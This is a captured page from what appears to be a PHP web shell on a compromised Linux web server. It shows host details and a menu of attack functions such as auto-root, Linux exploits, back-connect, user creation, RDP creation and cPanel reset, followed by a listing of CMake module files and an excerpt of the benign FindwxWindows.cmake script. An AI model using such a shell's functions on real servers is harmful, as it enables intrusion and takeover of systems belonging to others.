Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
cmake /
Modules /
[ HOME SHELL ]
Name
Size
Permission
Action
CMakeAddFortranSubdirectory
[ DIR ]
drwxr-xr-x
Compiler
[ DIR ]
drwxr-xr-x
CompilerId
[ DIR ]
drwxr-xr-x
FindCUDA
[ DIR ]
drwxr-xr-x
FortranCInterface
[ DIR ]
drwxr-xr-x
IntelVSImplicitPath
[ DIR ]
drwxr-xr-x
Platform
[ DIR ]
drwxr-xr-x
AddFileDependencies.cmake
1002
B
-rw-r--r--
AutomocInfo.cmake.in
675
B
-rw-r--r--
BasicConfigVersion-AnyNewerVer...
1.34
KB
-rw-r--r--
BasicConfigVersion-ExactVersio...
1.8
KB
-rw-r--r--
BasicConfigVersion-SameMajorVe...
1.69
KB
-rw-r--r--
BundleUtilities.cmake
28.62
KB
-rw-r--r--
CMake.cmake
772
B
-rw-r--r--
CMakeASM-ATTInformation.cmake
1020
B
-rw-r--r--
CMakeASMCompiler.cmake.in
545
B
-rw-r--r--
CMakeASMInformation.cmake
5.28
KB
-rw-r--r--
CMakeASM_MASMInformation.cmake
903
B
-rw-r--r--
CMakeASM_NASMInformation.cmake
1.45
KB
-rw-r--r--
CMakeAddFortranSubdirectory.cm...
7.73
KB
-rw-r--r--
CMakeAddNewLanguage.txt
1.49
KB
-rw-r--r--
CMakeBackwardCompatibilityC.cm...
3.38
KB
-rw-r--r--
CMakeBackwardCompatibilityCXX....
2.12
KB
-rw-r--r--
CMakeBorlandFindMake.cmake
736
B
-rw-r--r--
CMakeBuildSettings.cmake.in
681
B
-rw-r--r--
CMakeCCompiler.cmake.in
1.85
KB
-rw-r--r--
CMakeCCompilerABI.c
572
B
-rw-r--r--
CMakeCCompilerId.c.in
7.41
KB
-rw-r--r--
CMakeCInformation.cmake
7.56
KB
-rw-r--r--
CMakeCXXCompiler.cmake.in
2.01
KB
-rw-r--r--
CMakeCXXCompilerABI.cpp
450
B
-rw-r--r--
CMakeCXXCompilerId.cpp.in
7.32
KB
-rw-r--r--
CMakeCXXInformation.cmake
10.41
KB
-rw-r--r--
CMakeClDeps.cmake
1.64
KB
-rw-r--r--
CMakeCommonLanguageInclude.cma...
5.11
KB
-rw-r--r--
CMakeCompilerABI.h
1.18
KB
-rw-r--r--
CMakeConfigurableFile.in
35
B
-rw-r--r--
CMakeDependentOption.cmake
2.03
KB
-rw-r--r--
CMakeDetermineASM-ATTCompiler....
859
B
-rw-r--r--
CMakeDetermineASMCompiler.cmak...
7.24
KB
-rw-r--r--
CMakeDetermineASM_MASMCompiler...
942
B
-rw-r--r--
CMakeDetermineASM_NASMCompiler...
1011
B
-rw-r--r--
CMakeDetermineCCompiler.cmake
7.23
KB
-rw-r--r--
CMakeDetermineCXXCompiler.cmak...
7.31
KB
-rw-r--r--
CMakeDetermineCompiler.cmake
3.37
KB
-rw-r--r--
CMakeDetermineCompilerABI.cmak...
5.9
KB
-rw-r--r--
CMakeDetermineCompilerId.cmake
19.06
KB
-rw-r--r--
CMakeDetermineFortranCompiler....
9.94
KB
-rw-r--r--
CMakeDetermineJavaCompiler.cma...
4.13
KB
-rw-r--r--
CMakeDetermineRCCompiler.cmake
2.52
KB
-rw-r--r--
CMakeDetermineSystem.cmake
7.41
KB
-rw-r--r--
CMakeDetermineVSServicePack.cm...
6.6
KB
-rw-r--r--
CMakeExpandImportedTargets.cma...
5.77
KB
-rw-r--r--
CMakeExportBuildSettings.cmake
1.67
KB
-rw-r--r--
CMakeExtraGeneratorDetermineCo...
4.94
KB
-rw-r--r--
CMakeFindBinUtils.cmake
2.76
KB
-rw-r--r--
CMakeFindCodeBlocks.cmake
1.06
KB
-rw-r--r--
CMakeFindEclipseCDT4.cmake
4.65
KB
-rw-r--r--
CMakeFindFrameworks.cmake
1.16
KB
-rw-r--r--
CMakeFindKDevelop3.cmake
934
B
-rw-r--r--
CMakeFindPackageMode.cmake
6.2
KB
-rw-r--r--
CMakeFindWMake.cmake
737
B
-rw-r--r--
CMakeFindXCode.cmake
720
B
-rw-r--r--
CMakeForceCompiler.cmake
2.98
KB
-rw-r--r--
CMakeFortranCompiler.cmake.in
2.09
KB
-rw-r--r--
CMakeFortranCompilerABI.F
1023
B
-rw-r--r--
CMakeFortranCompilerId.F.in
4.38
KB
-rw-r--r--
CMakeFortranInformation.cmake
9.62
KB
-rw-r--r--
CMakeGenericSystem.cmake
6.66
KB
-rw-r--r--
CMakeGraphVizOptions.cmake
3
KB
-rw-r--r--
CMakeImportBuildSettings.cmake
1008
B
-rw-r--r--
CMakeJOMFindMake.cmake
736
B
-rw-r--r--
CMakeJavaCompiler.cmake.in
538
B
-rw-r--r--
CMakeJavaInformation.cmake
2.19
KB
-rw-r--r--
CMakeMSYSFindMake.cmake
954
B
-rw-r--r--
CMakeMinGWFindMake.cmake
1.24
KB
-rw-r--r--
CMakeNMakeFindMake.cmake
738
B
-rw-r--r--
CMakeNinjaFindMake.cmake
740
B
-rw-r--r--
CMakePackageConfigHelpers.cmak...
11.29
KB
-rw-r--r--
CMakeParseArguments.cmake
5.65
KB
-rw-r--r--
CMakeParseImplicitLinkInfo.cma...
6.88
KB
-rw-r--r--
CMakePlatformId.h.in
4.29
KB
-rw-r--r--
CMakePrintHelpers.cmake
4.32
KB
-rw-r--r--
CMakePrintSystemInformation.cm...
2.38
KB
-rw-r--r--
CMakePushCheckState.cmake
3.33
KB
-rw-r--r--
CMakeRCCompiler.cmake.in
267
B
-rw-r--r--
CMakeRCInformation.cmake
1.88
KB
-rw-r--r--
CMakeSystem.cmake.in
537
B
-rw-r--r--
CMakeSystemSpecificInformation...
2.79
KB
-rw-r--r--
CMakeTestASM-ATTCompiler.cmake
992
B
-rw-r--r--
CMakeTestASMCompiler.cmake
1.3
KB
-rw-r--r--
CMakeTestASM_MASMCompiler.cmak...
1021
B
-rw-r--r--
CMakeTestASM_NASMCompiler.cmak...
989
B
-rw-r--r--
CMakeTestCCompiler.cmake
3.52
KB
-rw-r--r--
CMakeTestCXXCompiler.cmake
3.41
KB
-rw-r--r--
CMakeTestCompilerCommon.cmake
894
B
-rw-r--r--
CMakeTestFortranCompiler.cmake
4.76
KB
-rw-r--r--
CMakeTestGNU.c
175
B
-rw-r--r--
CMakeTestJavaCompiler.cmake
950
B
-rw-r--r--
CMakeTestRCCompiler.cmake
1.01
KB
-rw-r--r--
CMakeTestWatcomVersion.c
20
B
-rw-r--r--
CMakeUnixFindMake.cmake
1.02
KB
-rw-r--r--
CMakeVS10FindMake.cmake
2.65
KB
-rw-r--r--
CMakeVS11FindMake.cmake
2.61
KB
-rw-r--r--
CMakeVS12FindMake.cmake
1.09
KB
-rw-r--r--
CMakeVS6BackwardCompatibility....
1.4
KB
-rw-r--r--
CMakeVS6FindMake.cmake
1
KB
-rw-r--r--
CMakeVS71FindMake.cmake
1.06
KB
-rw-r--r--
CMakeVS7BackwardCompatibility....
1.4
KB
-rw-r--r--
CMakeVS7FindMake.cmake
1021
B
-rw-r--r--
CMakeVS8FindMake.cmake
1.45
KB
-rw-r--r--
CMakeVS9FindMake.cmake
1.76
KB
-rw-r--r--
CMakeVerifyManifest.cmake
4.16
KB
-rw-r--r--
CPack.DS_Store.in
12
KB
-rw-r--r--
CPack.Description.plist.in
438
B
-rw-r--r--
CPack.Info.plist.in
1.1
KB
-rw-r--r--
CPack.OSXScriptLauncher.in
28.9
KB
-rw-r--r--
CPack.OSXScriptLauncher.rsrc.i...
362
B
-rw-r--r--
CPack.OSXX11.Info.plist.in
1.57
KB
-rw-r--r--
CPack.OSXX11.main.scpt.in
1.83
KB
-rw-r--r--
CPack.RuntimeScript.in
1.85
KB
-rw-r--r--
CPack.STGZ_Header.sh.in
3.76
KB
-rw-r--r--
CPack.VolumeIcon.icns.in
44.67
KB
-rw-r--r--
CPack.background.png.in
45.97
KB
-rw-r--r--
CPack.cmake
22.86
KB
-rw-r--r--
CPack.distribution.dist.in
448
B
-rw-r--r--
CPackBundle.cmake
1.77
KB
-rw-r--r--
CPackComponent.cmake
20.24
KB
-rw-r--r--
CPackCygwin.cmake
1.13
KB
-rw-r--r--
CPackDMG.cmake
2.66
KB
-rw-r--r--
CPackDeb.cmake
15.34
KB
-rw-r--r--
CPackNSIS.cmake
4.57
KB
-rw-r--r--
CPackPackageMaker.cmake
1.56
KB
-rw-r--r--
CPackRPM.cmake
42.01
KB
-rw-r--r--
CPackWIX.cmake
4.32
KB
-rw-r--r--
CPackZIP.cmake
1.42
KB
-rw-r--r--
CTest.cmake
9.7
KB
-rw-r--r--
CTestScriptMode.cmake
989
B
-rw-r--r--
CTestTargets.cmake
3.42
KB
-rw-r--r--
CTestUseLaunchers.cmake
2.7
KB
-rw-r--r--
CheckCCompilerFlag.cmake
2.9
KB
-rw-r--r--
CheckCSourceCompiles.cmake
3.45
KB
-rw-r--r--
CheckCSourceRuns.cmake
3.44
KB
-rw-r--r--
CheckCXXCompilerFlag.cmake
3.07
KB
-rw-r--r--
CheckCXXSourceCompiles.cmake
3.48
KB
-rw-r--r--
CheckCXXSourceRuns.cmake
3.46
KB
-rw-r--r--
CheckCXXSymbolExists.cmake
1.94
KB
-rw-r--r--
CheckForPthreads.c
701
B
-rw-r--r--
CheckFortranFunctionExists.cma...
2.49
KB
-rw-r--r--
CheckFunctionExists.c
380
B
-rw-r--r--
CheckFunctionExists.cmake
2.97
KB
-rw-r--r--
CheckIncludeFile.c.in
130
B
-rw-r--r--
CheckIncludeFile.cmake
3.03
KB
-rw-r--r--
CheckIncludeFile.cxx.in
65
B
-rw-r--r--
CheckIncludeFileCXX.cmake
3.05
KB
-rw-r--r--
CheckIncludeFiles.cmake
3.47
KB
-rw-r--r--
CheckLanguage.cmake
2.64
KB
-rw-r--r--
CheckLibraryExists.cmake
2.79
KB
-rw-r--r--
CheckLibraryExists.lists.in
298
B
-rw-r--r--
CheckPrototypeDefinition.c.in
514
B
-rw-r--r--
CheckPrototypeDefinition.cmake
4.04
KB
-rw-r--r--
CheckSizeOf.cmake
813
B
-rw-r--r--
CheckStructHasMember.cmake
1.77
KB
-rw-r--r--
CheckSymbolExists.cmake
4.16
KB
-rw-r--r--
CheckTypeSize.c.in
801
B
-rw-r--r--
CheckTypeSize.cmake
7.47
KB
-rw-r--r--
CheckTypeSizeMap.cmake.in
31
B
-rw-r--r--
CheckVariableExists.c
363
B
-rw-r--r--
CheckVariableExists.cmake
2.47
KB
-rw-r--r--
Dart.cmake
4.06
KB
-rw-r--r--
DartConfiguration.tcl.in
2.74
KB
-rw-r--r--
DeployQt4.cmake
13.19
KB
-rw-r--r--
Documentation.cmake
1.45
KB
-rw-r--r--
DummyCXXFile.cxx
27
B
-rw-r--r--
ExternalData.cmake
29.97
KB
-rw-r--r--
ExternalData_config.cmake.in
268
B
-rw-r--r--
ExternalProject.cmake
61.48
KB
-rw-r--r--
FLTKCompatibility.cmake
635
B
-rw-r--r--
FeatureSummary.cmake
19.38
KB
-rw-r--r--
FindALSA.cmake
2.14
KB
-rw-r--r--
FindASPELL.cmake
1.47
KB
-rw-r--r--
FindAVIFile.cmake
1.74
KB
-rw-r--r--
FindArmadillo.cmake
3.82
KB
-rw-r--r--
FindBISON.cmake
7.11
KB
-rw-r--r--
FindBLAS.cmake
16.39
KB
-rw-r--r--
FindBZip2.cmake
2.38
KB
-rw-r--r--
FindBoost.cmake
48.76
KB
-rw-r--r--
FindBullet.cmake
3.18
KB
-rw-r--r--
FindCABLE.cmake
2.84
KB
-rw-r--r--
FindCUDA.cmake
65.86
KB
-rw-r--r--
FindCURL.cmake
2.29
KB
-rw-r--r--
FindCVS.cmake
2.18
KB
-rw-r--r--
FindCoin3D.cmake
2.67
KB
-rw-r--r--
FindCups.cmake
2.91
KB
-rw-r--r--
FindCurses.cmake
6.57
KB
-rw-r--r--
FindCxxTest.cmake
7.61
KB
-rw-r--r--
FindCygwin.cmake
924
B
-rw-r--r--
FindDCMTK.cmake
4.44
KB
-rw-r--r--
FindDart.cmake
1.32
KB
-rw-r--r--
FindDevIL.cmake
2.82
KB
-rw-r--r--
FindDoxygen.cmake
5.05
KB
-rw-r--r--
FindEXPAT.cmake
2.37
KB
-rw-r--r--
FindFLEX.cmake
6.27
KB
-rw-r--r--
FindFLTK.cmake
11.1
KB
-rw-r--r--
FindFLTK2.cmake
9.01
KB
-rw-r--r--
FindFreetype.cmake
5.08
KB
-rw-r--r--
FindGCCXML.cmake
960
B
-rw-r--r--
FindGDAL.cmake
3.26
KB
-rw-r--r--
FindGIF.cmake
2.66
KB
-rw-r--r--
FindGLEW.cmake
1.27
KB
-rw-r--r--
FindGLU.cmake
1020
B
-rw-r--r--
FindGLUT.cmake
3.01
KB
-rw-r--r--
FindGTK.cmake
4.11
KB
-rw-r--r--
FindGTK2.cmake
22.83
KB
-rw-r--r--
FindGTest.cmake
5.41
KB
-rw-r--r--
FindGettext.cmake
8.1
KB
-rw-r--r--
FindGit.cmake
2.06
KB
-rw-r--r--
FindGnuTLS.cmake
2.37
KB
-rw-r--r--
FindGnuplot.cmake
1.96
KB
-rw-r--r--
FindHDF5.cmake
14.34
KB
-rw-r--r--
FindHSPELL.cmake
2.04
KB
-rw-r--r--
FindHTMLHelp.cmake
1.8
KB
-rw-r--r--
FindHg.cmake
1.79
KB
-rw-r--r--
FindITK.cmake
2.19
KB
-rw-r--r--
FindIcotool.cmake
1.66
KB
-rw-r--r--
FindImageMagick.cmake
9.96
KB
-rw-r--r--
FindJNI.cmake
9.93
KB
-rw-r--r--
FindJPEG.cmake
1.57
KB
-rw-r--r--
FindJasper.cmake
2.16
KB
-rw-r--r--
FindJava.cmake
7.83
KB
-rw-r--r--
FindKDE3.cmake
10.27
KB
-rw-r--r--
FindKDE4.cmake
3.48
KB
-rw-r--r--
FindLAPACK.cmake
9.28
KB
-rw-r--r--
FindLATEX.cmake
3.24
KB
-rw-r--r--
FindLibArchive.cmake
2.87
KB
-rw-r--r--
FindLibLZMA.cmake
3.53
KB
-rw-r--r--
FindLibXml2.cmake
2.67
KB
-rw-r--r--
FindLibXslt.cmake
2.86
KB
-rw-r--r--
FindLua50.cmake
2.75
KB
-rw-r--r--
FindLua51.cmake
2.58
KB
-rw-r--r--
FindLua52.cmake
2.2
KB
-rw-r--r--
FindMFC.cmake
2.24
KB
-rw-r--r--
FindMPEG.cmake
1.62
KB
-rw-r--r--
FindMPEG2.cmake
1.88
KB
-rw-r--r--
FindMPI.cmake
29.25
KB
-rw-r--r--
FindMatlab.cmake
3.39
KB
-rw-r--r--
FindMotif.cmake
1.29
KB
-rw-r--r--
FindOpenAL.cmake
3.85
KB
-rw-r--r--
FindOpenGL.cmake
5.29
KB
-rw-r--r--
FindOpenMP.cmake
5.3
KB
-rw-r--r--
FindOpenSSL.cmake
9.44
KB
-rw-r--r--
FindOpenSceneGraph.cmake
7.26
KB
-rw-r--r--
FindOpenThreads.cmake
4.16
KB
-rw-r--r--
FindPHP4.cmake
2.48
KB
-rw-r--r--
FindPNG.cmake
4.29
KB
-rw-r--r--
FindPackageHandleStandardArgs....
13.01
KB
-rw-r--r--
FindPackageMessage.cmake
1.92
KB
-rw-r--r--
FindPerl.cmake
3.03
KB
-rw-r--r--
FindPerlLibs.cmake
8.08
KB
-rw-r--r--
FindPhysFS.cmake
1.61
KB
-rw-r--r--
FindPike.cmake
1.19
KB
-rw-r--r--
FindPkgConfig.cmake
14.5
KB
-rw-r--r--
FindPostgreSQL.cmake
7.57
KB
-rw-r--r--
FindProducer.cmake
2.7
KB
-rw-r--r--
FindProtobuf.cmake
7.89
KB
-rw-r--r--
FindPythonInterp.cmake
6.07
KB
-rw-r--r--
FindPythonLibs.cmake
11.29
KB
-rw-r--r--
FindQt.cmake
6.07
KB
-rw-r--r--
FindQt3.cmake
9.48
KB
-rw-r--r--
FindQt4.cmake
59.73
KB
-rw-r--r--
FindQuickTime.cmake
1.39
KB
-rw-r--r--
FindRTI.cmake
3.57
KB
-rw-r--r--
FindRuby.cmake
9.85
KB
-rw-r--r--
FindSDL.cmake
7.24
KB
-rw-r--r--
FindSDL_image.cmake
3.88
KB
-rw-r--r--
FindSDL_mixer.cmake
3.88
KB
-rw-r--r--
FindSDL_net.cmake
3.74
KB
-rw-r--r--
FindSDL_sound.cmake
13.48
KB
-rw-r--r--
FindSDL_ttf.cmake
3.74
KB
-rw-r--r--
FindSWIG.cmake
2.89
KB
-rw-r--r--
FindSelfPackers.cmake
1.84
KB
-rw-r--r--
FindSquish.cmake
10.14
KB
-rw-r--r--
FindSubversion.cmake
5.65
KB
-rw-r--r--
FindTCL.cmake
7.97
KB
-rw-r--r--
FindTIFF.cmake
1.92
KB
-rw-r--r--
FindTclStub.cmake
4.73
KB
-rw-r--r--
FindTclsh.cmake
3.74
KB
-rw-r--r--
FindThreads.cmake
5.84
KB
-rw-r--r--
FindUnixCommands.cmake
1.48
KB
-rw-r--r--
FindVTK.cmake
5.78
KB
-rw-r--r--
FindWget.cmake
1.26
KB
-rw-r--r--
FindWish.cmake
3.01
KB
-rw-r--r--
FindX11.cmake
20.05
KB
-rw-r--r--
FindXMLRPC.cmake
4.97
KB
-rw-r--r--
FindZLIB.cmake
3.58
KB
-rw-r--r--
Findosg.cmake
2.21
KB
-rw-r--r--
FindosgAnimation.cmake
2.17
KB
-rw-r--r--
FindosgDB.cmake
2.08
KB
-rw-r--r--
FindosgFX.cmake
2.08
KB
-rw-r--r--
FindosgGA.cmake
2.09
KB
-rw-r--r--
FindosgIntrospection.cmake
2.26
KB
-rw-r--r--
FindosgManipulator.cmake
2.24
KB
-rw-r--r--
FindosgParticle.cmake
2.17
KB
-rw-r--r--
FindosgPresentation.cmake
2.33
KB
-rw-r--r--
FindosgProducer.cmake
2.18
KB
-rw-r--r--
FindosgQt.cmake
2.14
KB
-rw-r--r--
FindosgShadow.cmake
2.14
KB
-rw-r--r--
FindosgSim.cmake
2.09
KB
-rw-r--r--
FindosgTerrain.cmake
2.15
KB
-rw-r--r--
FindosgText.cmake
2.09
KB
-rw-r--r--
FindosgUtil.cmake
2.1
KB
-rw-r--r--
FindosgViewer.cmake
2.13
KB
-rw-r--r--
FindosgVolume.cmake
2.13
KB
-rw-r--r--
FindosgWidget.cmake
2.18
KB
-rw-r--r--
Findosg_functions.cmake
3.05
KB
-rw-r--r--
FindwxWidgets.cmake
36.04
KB
-rw-r--r--
FindwxWindows.cmake
24.15
KB
-rw-r--r--
FortranCInterface.cmake
12.16
KB
-rw-r--r--
GNUInstallDirs.cmake
7.18
KB
-rw-r--r--
GenerateExportHeader.cmake
12.41
KB
-rw-r--r--
GetPrerequisites.cmake
28.59
KB
-rw-r--r--
ITKCompatibility.cmake
689
B
-rw-r--r--
InstallRequiredSystemLibraries...
14.93
KB
-rw-r--r--
KDE3Macros.cmake
13.26
KB
-rw-r--r--
MacOSXBundleInfo.plist.in
1.22
KB
-rw-r--r--
MacOSXFrameworkInfo.plist.in
886
B
-rw-r--r--
MacroAddFileDependencies.cmake
1.29
KB
-rw-r--r--
NSIS.InstallOptions.ini.in
678
B
-rw-r--r--
NSIS.template.in
27.82
KB
-rw-r--r--
ProcessorCount.cmake
6.84
KB
-rw-r--r--
Qt4ConfigDependentSettings.cma...
7.9
KB
-rw-r--r--
Qt4Macros.cmake
18.11
KB
-rw-r--r--
RepositoryInfo.txt.in
56
B
-rw-r--r--
SelectLibraryConfigurations.cm...
3.39
KB
-rw-r--r--
Squish4RunTestCase.bat
629
B
-rw-r--r--
Squish4RunTestCase.sh
773
B
-rw-r--r--
SquishRunTestCase.bat
219
B
-rw-r--r--
SquishRunTestCase.sh
272
B
-rw-r--r--
SquishTestScript.cmake
3.8
KB
-rw-r--r--
SystemInformation.cmake
3.57
KB
-rw-r--r--
SystemInformation.in
4.59
KB
-rw-r--r--
TestBigEndian.cmake
4.51
KB
-rw-r--r--
TestCXXAcceptsFlag.cmake
1.78
KB
-rw-r--r--
TestEndianess.c.in
871
B
-rw-r--r--
TestForANSIForScope.cmake
1.77
KB
-rw-r--r--
TestForANSIStreamHeaders.cmake
1.29
KB
-rw-r--r--
TestForANSIStreamHeaders.cxx
60
B
-rw-r--r--
TestForAnsiForScope.cxx
87
B
-rw-r--r--
TestForSSTREAM.cmake
1.74
KB
-rw-r--r--
TestForSSTREAM.cxx
154
B
-rw-r--r--
TestForSTDNamespace.cmake
1.69
KB
-rw-r--r--
TestForSTDNamespace.cxx
75
B
-rw-r--r--
UseEcos.cmake
10.1
KB
-rw-r--r--
UseJava.cmake
35.32
KB
-rw-r--r--
UseJavaClassFilelist.cmake
2.13
KB
-rw-r--r--
UseJavaSymlinks.cmake
1.09
KB
-rw-r--r--
UsePkgConfig.cmake
2.95
KB
-rw-r--r--
UseQt4.cmake
2.96
KB
-rw-r--r--
UseSWIG.cmake
9.97
KB
-rw-r--r--
UseVTK40.cmake
1.14
KB
-rw-r--r--
UseVTKBuildSettings40.cmake
1.89
KB
-rw-r--r--
UseVTKConfig40.cmake
13.12
KB
-rw-r--r--
Use_wxWindows.cmake
2.37
KB
-rw-r--r--
UsewxWidgets.cmake
3.17
KB
-rw-r--r--
VTKCompatibility.cmake
2.13
KB
-rw-r--r--
WIX.template.in
1.47
KB
-rw-r--r--
WriteBasicConfigVersionFile.cm...
1.72
KB
-rw-r--r--
ecos_clean.cmake
968
B
-rw-r--r--
exportheader.cmake.in
911
B
-rw-r--r--
kde3init_dummy.cpp.in
227
B
-rw-r--r--
kde3uic.cmake
1.21
KB
-rw-r--r--
readme.txt
9.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FindwxWindows.cmake
# - Find wxWindows (wxWidgets) installation # This module finds if wxWindows/wxWidgets is installed and determines where # the include files and libraries are. It also determines what the name of # the library is. # Please note this file is DEPRECATED and replaced by FindwxWidgets.cmake. # This code sets the following variables: # # WXWINDOWS_FOUND = system has WxWindows # WXWINDOWS_LIBRARIES = path to the wxWindows libraries # on Unix/Linux with additional # linker flags from # "wx-config --libs" # CMAKE_WXWINDOWS_CXX_FLAGS = Compiler flags for wxWindows, # essentially "`wx-config --cxxflags`" # on Linux # WXWINDOWS_INCLUDE_DIR = where to find "wx/wx.h" and "wx/setup.h" # WXWINDOWS_LINK_DIRECTORIES = link directories, useful for rpath on # Unix # WXWINDOWS_DEFINITIONS = extra defines # # OPTIONS # If you need OpenGL support please # set(WXWINDOWS_USE_GL 1) # in your CMakeLists.txt *before* you include this file. # # HAVE_ISYSTEM - true required to replace -I by -isystem on g++ # # For convenience include Use_wxWindows.cmake in your project's # CMakeLists.txt using include(${CMAKE_CURRENT_LIST_DIR}/Use_wxWindows.cmake). # # USAGE # set(WXWINDOWS_USE_GL 1) # find_package(wxWindows) # # NOTES # wxWidgets 2.6.x is supported for monolithic builds # e.g. compiled in wx/build/msw dir as: # nmake -f makefile.vc BUILD=debug SHARED=0 USE_OPENGL=1 MONOLITHIC=1 # # DEPRECATED # # CMAKE_WX_CAN_COMPILE # WXWINDOWS_LIBRARY # CMAKE_WX_CXX_FLAGS # WXWINDOWS_INCLUDE_PATH # # AUTHOR # Jan Woetzel <http://www.mip.informatik.uni-kiel.de/~jw> (07/2003-01/2006) #============================================================================= # Copyright 2000-2009 Kitware, Inc. # Copyright 2003-2006 Jan Woetzel # # Distributed under the OSI-approved BSD License (the "License"); # see accompanying file Copyright.txt for details. # # This software is distributed WITHOUT ANY WARRANTY; without even the # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the License for more information. #============================================================================= # (To distribute this file outside of CMake, substitute the full # License text for the above reference.) # ------------------------------------------------------------------ # # -removed OPTION for CMAKE_WXWINDOWS_USE_GL. Force the developer to SET it before calling this. # -major update for wx 2.6.2 and monolithic build option. (10/2005) # # STATUS # tested with: # cmake 1.6.7, Linux (Suse 7.3), wxWindows 2.4.0, gcc 2.95 # cmake 1.6.7, Linux (Suse 8.2), wxWindows 2.4.0, gcc 3.3 # cmake 1.6.7, Linux (Suse 8.2), wxWindows 2.4.1-patch1, gcc 3.3 # cmake 1.6.7, MS Windows XP home, wxWindows 2.4.1, MS Visual Studio .net 7 2002 (static build) # cmake 2.0.5 on Windows XP and Suse Linux 9.2 # cmake 2.0.6 on Windows XP and Suse Linux 9.2, wxWidgets 2.6.2 MONOLITHIC build # cmake 2.2.2 on Windows XP, MS Visual Studio .net 2003 7.1 wxWidgets 2.6.2 MONOLITHIC build # # TODO # -OPTION for unicode builds # -further testing of DLL linking under MS WIN32 # -better support for non-monolithic builds # if(WIN32) set(WIN32_STYLE_FIND 1) endif() if(MINGW) set(WIN32_STYLE_FIND 0) set(UNIX_STYLE_FIND 1) endif() if(UNIX) set(UNIX_STYLE_FIND 1) endif() if(WIN32_STYLE_FIND) ## ###################################################################### ## ## Windows specific: ## ## candidates for root/base directory of wxwindows ## should have subdirs include and lib containing include/wx/wx.h ## fix the root dir to avoid mixing of headers/libs from different ## versions/builds: ## WX supports monolithic and multiple smaller libs (since 2.5.x), we prefer monolithic for now. ## monolithic = WX is built as a single big library ## e.g. compile on WIN32 as "nmake -f makefile.vc MONOLITHIC=1 BUILD=debug SHARED=0 USE_OPENGL=1" (JW) option(WXWINDOWS_USE_MONOLITHIC "Use monolithic build of WX??" ON) mark_as_advanced(WXWINDOWS_USE_MONOLITHIC) ## GL libs used? option(WXWINDOWS_USE_GL "Use Wx with GL support(glcanvas)?" ON) mark_as_advanced(WXWINDOWS_USE_GL) ## avoid mixing of headers and libs between multiple installed WX versions, ## select just one tree here: find_path(WXWINDOWS_ROOT_DIR include/wx/wx.h HINTS ENV WXWIN "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\wxWidgets_is1;Inno Setup: App Path]" ## WX 2.6.x "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\wxWindows_is1;Inno Setup: App Path]" ## WX 2.4.x PATHS C:/wxWidgets-2.6.2 D:/wxWidgets-2.6.2 C:/wxWidgets-2.6.1 D:/wxWidgets-2.6.1 C:/wxWindows-2.4.2 D:/wxWindows-2.4.2 ) # message("DBG found WXWINDOWS_ROOT_DIR: ${WXWINDOWS_ROOT_DIR}") ## find libs for combination of static/shared with release/debug ## be careful if you add something here, ## avoid mixing of headers and libs of different wx versions, ## there may be multiple WX versions installed. set (WXWINDOWS_POSSIBLE_LIB_PATHS "${WXWINDOWS_ROOT_DIR}/lib" ) ## monolithic? if (WXWINDOWS_USE_MONOLITHIC) find_library(WXWINDOWS_STATIC_LIBRARY NAMES wx wxmsw wxmsw26 PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static release build library" ) find_library(WXWINDOWS_STATIC_DEBUG_LIBRARY NAMES wxd wxmswd wxmsw26d PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static debug build library" ) find_library(WXWINDOWS_SHARED_LIBRARY NAMES wxmsw26 wxmsw262 wxmsw24 wxmsw242 wxmsw241 wxmsw240 wx23_2 wx22_9 PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_dll" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows shared release build library" ) find_library(WXWINDOWS_SHARED_DEBUG_LIBRARY NAMES wxmsw26d wxmsw262d wxmsw24d wxmsw241d wxmsw240d wx23_2d wx22_9d PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_dll" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows shared debug build library " ) ## ## required for WXWINDOWS_USE_GL ## gl lib is always build separate: ## find_library(WXWINDOWS_STATIC_LIBRARY_GL NAMES wx_gl wxmsw_gl wxmsw26_gl PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static release build GL library" ) find_library(WXWINDOWS_STATIC_DEBUG_LIBRARY_GL NAMES wxd_gl wxmswd_gl wxmsw26d_gl PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static debug build GL library" ) find_library(WXWINDOWS_STATIC_DEBUG_LIBRARY_PNG NAMES wxpngd PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static debug png library" ) find_library(WXWINDOWS_STATIC_LIBRARY_PNG NAMES wxpng PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static png library" ) find_library(WXWINDOWS_STATIC_DEBUG_LIBRARY_TIFF NAMES wxtiffd PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC "wxWindows static debug tiff library" ) find_library(WXWINDOWS_STATIC_LIBRARY_TIFF NAMES wxtiff PATHS "${WXWINDOWS_ROOT_DIR}/lib/vc_lib" ${WXWINDOWS_POSSIBLE_LIB_PATHS} DOC 